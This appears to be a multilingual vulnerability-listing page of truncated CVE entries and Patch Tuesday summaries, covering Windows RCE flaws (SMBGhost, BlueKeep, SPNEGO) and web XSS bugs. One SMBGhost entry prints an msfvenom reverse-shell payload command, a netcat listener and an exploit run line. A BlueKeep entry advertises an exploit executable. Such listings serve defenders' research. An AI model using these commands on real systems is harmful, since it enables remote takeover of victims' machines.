CVE-2024-38063

CVE-2024-38063 - Windows TCP/IP リモートコード実行脆弱性調査 時間、エネルギー、正気、理解を節約するための包括的な調査です。まず最初に、この特定のCVEは、その高い深刻度スコアのために短期間で非常に多くの注目を集めた点で、多くのCVEと同様であることを述べておきます。その結果、多くの虚偽の情報や悪意のある活動がこの脆弱性を取り巻いています。この脆弱性を発見した最初の研究者は Wei です。 これには、正規のPoCのように見せかけてGitHubに投稿されたマルウェアベースのPoCも含まれますが、これに限定されません。...

CVE-2020-0796

CVE-2020-0796 CVE-2020-0796 の脆弱性の説明と研究（学期プロジェクトCENG325の初心者向け） 悪用方法？ リバースシェルのペイロード生成： msfvenom -a x64 --platform windows -p windows/x64/shellreversetcp LHOST= LPORT=5555 -f python リスニングポート： nc -lvnp 5555 エクスプロイトコードの実行： python3 exploit.py -ip TARGETIP PoC リポジトリ...

CVE-2021-31166

CVE-2021-31166 CVE-2021-31166（HTTP プロトコルスタックの脆弱性）の悪用試行の検出 Suricata ルール Zeek パッケージ 参照 https://corelight.blog/2021/05/27/detecting-cve-2021-31166-http-vulnerability/ https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31166 https://github.com/0vercl0k/CVE-2021-31166...

CVE-2019-0708

CVE-2019-0708 批量检测（一括検出） 0x01 はじめに CVE-2019-0708 Windows RDP リモートコード実行の脆弱性 Windows 系サーバーは2019年5月15日に、高危険度の脆弱性が公表されました。この脆弱性の影響範囲は広く、windows2003、windows2008、windows2008 R2、windows xp...

CVE-2020-16898

CVE-2020-16898: “Bad Neighbor” CVSS 점수: 8.8 CVSS 벡터: CVSS3.0/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H/E:P/RL:O/RC:C 개요 10월 13일, Microsoft는 Windows IPv6 스택에서 매우 심각한 취약점을 발표했습니다. 이 취약점은 공격자가 악의적으로 조작된 패킷을 전송하여 잠재적으로 원격 시스템에서 임의 코드를 실행할 수 있도록 합니다. MAPP 회원과 공유된 개념 증명PoC은 매우 간단하고 완벽하게 신뢰할 수 있습니다. 이는 즉각적인...

CVE-2020-0796

CVE-2020-0796：SMBGhost - 分析与伦理利用 简介 CVE-2020-0796，又称“SMBGhost”，是一种影响 Microsoft Windows 操作系统的严重安全漏洞。它属于“可蠕虫传播”类别，意味着它可以在网络连接的系统中快速传播。该漏洞存在于 Microsoft 的服务器消息块（SMB）协议中，该协议负责文件与打印机共享。利用此漏洞可以在易受攻击的服务器上远程执行代码，可能导致系统完全被攻陷。 关键要点快速总结 漏洞名称： CVE-2020-0796，“SMBGhost”，“EternalDarkness”。 漏洞类型： 远程代码执行（RCE）。...

dRMM-CVE-2020-1350-response

概要 Microsoftは2020年7月14日にCVE-2020-1350を発表しました。このWindows DNSサーバーの脆弱性はServer 2003まで遡り、広くワーム可能であると考えられています。 このスクリプトはKB456509 https://support.microsoft.com/en-us/help/4569509/windows-dns-server-remote-code-execution-vulnerability の指示に従い、サーバーを再起動せずに問題を緩和します。 Datto...

CVE-2019-0708

CVE-2019-0708 Windows 上のエクスプロイト。 使用方法：C:\CVE-2019-07-08.exe -p 3389 ip 感染対象： Windows XP All Windows 2003 All Windows 7 SP 1 32 And 64 Bit Windows Server 2008 Windows Server 2008 R2 連絡先： メール： [email protected] ウェブサイト： http://794911175 http://cia.kim:2...

CVE-2025-47981

🔵 CVE-2025-47981 — Windows SPNEGO NEGOEX 脆弱性評価スクリプト 種別: 脆弱性評価 — 検出 / コンプライアンスチェック CVE: CVE-2025-47981 CVSS: 9.8 Critical AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CWE: CWE-122 — ヒープベースのバッファオーバーフロー 別名: "SPNEGO Nightmare" / "Windows Authentication Wormable RCE" パッチ: KB5062560 | 2025年7月 Patch Tuesday...

CVE-2026-57858

CVE-2026-57858 CVE-2026-57858 のワーム型エクスプロイト...

PT-2026-89285

Today is Patch Tuesday and it's a significant one. 966 vulnerabilities patched in the official count, with another 204 fixed separately earlier in September across Azure, Entra ID, Edge, and Copilot Studio. By any count this is the biggest single security release Microsoft has ever shipped. Two o...

Exploit for Heap-based Buffer Overflow in Microsoft

🔵 CVE-2025-47981 — Windows SPNEGO NEGOEX Vulnerability Assessm...

Horde Groupware Cross Site Scripting

Horde Groupware suffers from persistent cross site scripting and path traversal vulnerabilities. https://blog.evan.lat/posts/CVE-2026-65053/ the blog talks about two vulns that are chainable together. for the sake of brevity ill write up on the stored xss one. in lib/Mime/Status.php, we see a...

August Microsoft Patch Tuesday

August Microsoft Patch Tuesday. A total of 401 vulnerabilities were addressed - 170 fewer than in July. One of the vulnerabilities is known to be actively exploited in the wild: 🔻 EoP - Windows Ancillary Function Driver for WinSock CVE-2026-68820. A local attacker can exploit this vulnerability t...

CVE-2026-57858

Cal.com Cal.diy versions 2.1.1 through 6.2.0 contain a stored cross-site scripting vulnerability in the BookingPageTagManager component that allows authenticated event owners to inject arbitrary JavaScript by supplying a malicious analytics tracking ID without sanitization. Attackers can close th...

CVE-2026-57858: Improper Neutralization of Input During Web Page Generation

Cal.com Cal.diy versions 2.1.1 through 6.2.0 contain a stored cross-site scripting vulnerability in the BookingPageTagManager component that allows authenticated event owners to inject arbitrary JavaScript by supplying a malicious analytics tracking ID without sanitization. Attackers can close th...

Exploit for CVE-2026-57858

CVE-2026...

Open WebUI vulnerable to stored XSS via unescaped markdown token in MarkdownTokens.svelte leading to full account takeover and RCE via functions

Summary A vulnerability in the way certain html tags in chat messages are rendered allows attackers to inject JavaScript code into a chat transcript. The JavaScript code will be executed in the user's browser every time that chat transcript is opened, allowing attackers to retrieve the user's...

Patch Tuesday and the Enduring Challenge of Windows’ Backwards Compatibility

Introduction If you received an email with the subject “I LOVE YOU” and an attachment called “LOVE-LETTER-FOR-YOU.TXT”, would you open it? Probably not, but back in the year 2000, plenty of people did exactly that. The internet learned a hard lesson about the disproportionate power available to a...

PT-2025-28516

Name of the Vulnerable Software and Affected Versions Windows versions affected versions not specified Description A critical vulnerability exists in the Windows SPNEGO Extended Negotiation NEGOEX security mechanism. This flaw is a heap-based buffer overflow that allows an unauthorized attacker t...